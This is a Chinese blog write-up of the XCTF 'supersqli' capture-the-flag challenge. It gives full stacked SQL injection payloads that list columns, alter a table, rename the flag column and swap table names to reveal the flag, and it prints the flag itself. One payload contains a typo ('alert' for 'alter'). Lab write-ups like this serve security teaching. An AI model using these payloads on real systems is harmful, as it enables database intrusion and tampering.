攻防世界(xctf) web进阶 supersqli sql注入 堆叠注入

flag{c168d583ed0d4d7196967b28cbd0b5e9}

1.使用正常参数提交,显示正常网页

  

2.注入点判断  参数 1' 网页报错,sql语句异常,判定存在注入点

  

 

 

 3.尝试判断闭合符合 1'# 单引号闭合(%23为url编码中的#)

  

 

 

 4.尝试直接使用union注入 , 但是由于存在正在表达式 ,所以union无法使用

  order by 判断了字段数为2

  

 

 

   关键字被过滤:

  

 

5.只能用报错或者盲注注入出数据库的名字  supersqli (使用sqlmap也可以跑的出来数据库的名字)

6.尝试使用堆叠注入: -1;show tables%23 存在多个表的回显,考虑尝试并使用堆叠注入

  

 

 

 

6..由于是发现关键字就将结果返回并打印出来,冥思苦想了好久,最多只能使用报错或者盲注注入出数据库名字, 其余含有sql与的语法的参数就会返回指定的信息。 于是去网上找到了答案 

  思路:只过滤了几个常见的关键字,并没用全部不过滤,而且堆叠注入可以使用,尝试注入出查询的’words‘表和‘1919810931114514’表的结构,并使用堆叠注入将原本被查询的数据表的更改,将需要别查询表的名字更改原本被查询的表的名字,由于可能存在列数不匹配的情况,先将其表的列数或者列明更改为相同列名

7.查询两个表的字段名: show columns from `需要查询的表`;   使用的时候注意加上反引号``    

  1919810931114514 表:payload: -1';show columns from `1919810931114514`%23

    

 

 

   words表:-1';show columns from `words`%23

    

     1919810931114514 表中的flag字段 应该就是我们想要的字段,words应该是本来查询的表,但是比原本的表多出一个字段,我们需要将其补全

 

8. 为1919810931114514 表添加id字段并将其 flag字段名更改为data

  为1919810931114514添加一个id字段,并将其设置为主键和自动增加,以确定值的存在

  payload:-1';ALTER TABLE `1919810931114514` ADD (id int(11) primary key auto_increment);%23 

  使用-1';show columns from `1919810931114514`%23查看是否添加成功:

    

 

 

  将flag列名更改为data

  payload:alert table `1919810931114514` change flag data varchar(100)%23

  查看一下表结构:字段修改成功(下面为查询所有字段的sql语句)

  

 

 

 9.将 words 表名字修改成任意表名, 将 1919810931114514 表的名字修改成 words表,查询1 即可,因为原本的对应的查询就是id的值,这里我们只需要填入id的值即可

  payload : -1';rename table `words` to `tables`;rename table `1919810931114514` to `words`%23

 

 

posted @   追得上的梦想  阅读(1410)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示